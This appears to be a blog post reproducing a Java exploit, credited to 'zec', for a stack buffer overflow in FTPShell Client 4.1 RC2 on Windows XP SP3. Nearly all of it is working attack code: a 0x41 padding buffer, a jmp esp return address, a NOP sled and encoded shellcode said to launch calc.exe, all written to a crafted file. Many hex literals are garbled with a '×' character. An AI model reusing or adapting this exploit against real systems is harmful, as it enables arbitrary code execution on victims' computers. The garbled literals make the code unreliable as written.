Aug 14

/*
* FTPShell Client, Name Session Stack Overflow Exploit
* Tested on Version 4.1 RC2 on Windows XP SP3
* Vulnerable program download page : http://www.ftpshell.com/downloadclient.htm
* Coded by zec
* Feel yourself freely to get into touch : zec@bsdmail.com
*/

package ftpbof;
import java.io.DataOutputStream;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
/**
* @author zec
*/
public class Main {
    public static void main(String[] args) throws IOException  {
        /*  Shellcode calc.exe
         *  jmp esp 0×7C86467B
         */
        byte[] data = new byte[2548];
        for(int i = 1; i<data.length; ++i)
            data[i] = (byte)0×41;
        byte[] shell = new byte[]{
(byte)0×7B, (byte)0×46, (byte)0×86, (byte)0×7C, (byte)0×90, (byte)0×90, (byte)0×90, (byte)0×90, (byte)0×90, (byte)0×90, (byte)0×90, (byte)0×90, (byte)0×90, (byte)0×90, (byte)0×90, (byte)0×90, (byte)0xeb, (byte)0×03 ,(byte)0×59, (byte)0xeb, (byte)0×05, (byte)0xe8, (byte)0xf8, (byte)0xff, (byte)0xff, (byte)0xff, (byte)0×4f, (byte)0×49, (byte)0×49, (byte)0×49, (byte)0×49, (byte)0×49, (byte)0×49, (byte)0×51, (byte)0×5a, (byte)0×56, (byte)0×54, (byte)0×58, (byte)0×36, (byte)0×33, (byte)0×30, (byte)0×56, (byte)0×58, (byte)0×34, (byte)0×41, (byte)0×30, (byte)0×42, (byte)0×36, (byte)0×48, (byte)0×48, (byte)0×30, (byte)0×42, (byte)0×33, (byte)0×30, (byte)0×42, (byte)0×43, (byte)0×56, (byte)0×58, (byte)0×32, (byte)0×42, (byte)0×44, (byte)0×42, (byte)0×48, (byte)0×34, (byte)0×41, (byte)0×32, (byte)0×41, (byte)0×44, (byte)0×30, (byte)0×41, (byte)0×44, (byte)0×54, (byte)0×42, (byte)0×44, (byte)0×51, (byte)0×42, (byte)0×30, (byte)0×41, (byte)0×44, (byte)0×41, (byte)0×56, (byte)0×58, (byte)0×34, (byte)0×5a, (byte)0×38, (byte)0×42, (byte)0×44, (byte)0×4a, (byte)0×4f, (byte)0×4d, (byte)0×4e, (byte)0×4f, (byte)0×4a, (byte)0×4e, (byte)0×46, (byte)0×54, (byte)0×42, (byte)0×50, (byte)0×42, (byte)0×50, (byte)0×42, (byte)0×30, (byte)0×4b, (byte)0×58, (byte)0×45, (byte)0×54, (byte)0×4e, (byte)0×33, (byte)0×4b, (byte)0×38, (byte)0×4e, (byte)0×57, (byte)0×45, (byte)0×30, (byte)0×4a, (byte)0×37, (byte)0×41, (byte)0×30, (byte)0×4f, (byte)0×4e, (byte)0×4b, (byte)0×58, (byte)0×4f, (byte)0×44, (byte)0×4a, (byte)0×41, (byte)0×4b, (byte)0×38, (byte)0×4f, (byte)0×35, (byte)0×42, (byte)0×42, (byte)0×41, (byte)0×30, (byte)0×4b, (byte)0×4e, (byte)0×49, (byte)0×34, (byte)0×4b, (byte)0×58, (byte)0×46, (byte)0×33, (byte)0×4b, (byte)0×58, (byte)0×41, (byte)0×30, (byte)0×50, (byte)0×4e, (byte)0×41, (byte)0×33, (byte)0×42, (byte)0×4c, (byte)0×49, (byte)0×39, (byte)0×4e, (byte)0×4a, (byte)0×46, (byte)0×58, (byte)0×42, (byte)0×4c, (byte)0×46, (byte)0×37, (byte)0×47, (byte)0×30, (byte)0×41, (byte)0×4c, (byte)0×4c, (byte)0×4c, (byte)0×4d, (byte)0×50, (byte)0×41, (byte)0×50, (byte)0×44, (byte)0×4c, (byte)0×4b, (byte)0×4e, (byte)0×46, (byte)0×4f, (byte)0×4b, (byte)0×53, (byte)0×46, (byte)0×55, (byte)0×46, (byte)0×32, (byte)0×46, (byte)0×30, (byte)0×45, (byte)0×47, (byte)0×45, (byte)0×4e, (byte)0×4b, (byte)0×48, (byte)0×4f, (byte)0×35, (byte)0×46, (byte)0×32, (byte)0×41, (byte)0×50, (byte)0×4b, (byte)0×4e, (byte)0×48, (byte)0×36, (byte)0×4b, (byte)0×58, (byte)0×4e, (byte)0×50, (byte)0×4b, (byte)0×54, (byte)0×4b, (byte)0×58, (byte)0×4f, (byte)0×35, (byte)0×4e, (byte)0×31, (byte)0×41, (byte)0×50, (byte)0×4b, (byte)0×4e, (byte)0×4b, (byte)0×38, (byte)0×4e, (byte)0×41, (byte)0×4b, (byte)0×38, (byte)0×41, (byte)0×30, (byte)0×4b, (byte)0×4e, (byte)0×49, (byte)0×38, (byte)0×4e, (byte)0×45, (byte)0×46, (byte)0×52, (byte)0×46, (byte)0×50, (byte)0×43, (byte)0×4c, (byte)0×41, (byte)0×53, (byte)0×42, (byte)0×4c, (byte)0×46, (byte)0×46, (byte)0×4b, (byte)0×48, (byte)0×42, (byte)0×44, (byte)0×42, (byte)0×43, (byte)0×45, (byte)0×38, (byte)0×42, (byte)0×4c, (byte)0×4a, (byte)0×37, (byte)0×4e, (byte)0×50, (byte)0×4b, (byte)0×48, (byte)0×42, (byte)0×44, (byte)0×4e, (byte)0×50, (byte)0×4b, (byte)0×48, (byte)0×42, (byte)0×57, (byte)0×4e, (byte)0×51, (byte)0×4d, (byte)0×4a, (byte)0×4b, (byte)0×48, (byte)0×4a, (byte)0×46, (byte)0×4a, (byte)0×30, (byte)0×4b, (byte)0×4e, (byte)0×49, (byte)0×30, (byte)0×4b, (byte)0×58, (byte)0×42, (byte)0×58, (byte)0×42, (byte)0×4b, (byte)0×42, (byte)0×30, (byte)0×42, (byte)0×50, (byte)0×42, (byte)0×30, (byte)0×4b, (byte)0×48, (byte)0×4a, (byte)0×46, (byte)0×4e, (byte)0×43, (byte)0×4f, (byte)0×55, (byte)0×41, (byte)0×43, (byte)0×48, (byte)0×4f, (byte)0×42, (byte)0×56, (byte)0×48, (byte)0×55, (byte)0×49, (byte)0×58, (byte)0×4a, (byte)0×4f, (byte)0×43, (byte)0×38, (byte)0×42, (byte)0×4c, (byte)0×4b, (byte)0×57, (byte)0×42, (byte)0×55, (byte)0×4a, (byte)0×46, (byte)0×4f, (byte)0×4e, (byte)0×50, (byte)0×4c, (byte)0×42, (byte)0×4e, (byte)0×42, (byte)0×46, (byte)0×4a, (byte)0×36, (byte)0×4a, (byte)0×49, (byte)0×50, (byte)0×4f, (byte)0×4c, (byte)0×48, (byte)0×50, (byte)0×30, (byte)0×47, (byte)0×35, (byte)0×4f, (byte)0×4f, (byte)0×47, (byte)0×4e, (byte)0×43, (byte)0×46, (byte)0×41, (byte)0×56, (byte)0×4e, (byte)0×46, (byte)0×43, (byte)0×56, (byte)0×50, (byte)0×42, (byte)0×45, (byte)0×56, (byte)0×4a, (byte)0×37, (byte)0×45, (byte)0×36, (byte)0×42, (byte)0×30, (byte)0×5a
                                };
        try{
            DataOutputStream out = new DataOutputStream(new FileOutputStream("c:\\exp.txt"));
            System.out.println("[+] Writing malicious data to file..");
            out.write(data);
            out.write(shell);
            out.close();
        }catch(FileNotFoundException err){System.out.println("[-] Couldn’t be written.Error : "+err.getMessage());}
            System.out.println("[+] Exploited successfully.");
    }

}

Tagged with:
preload preload preload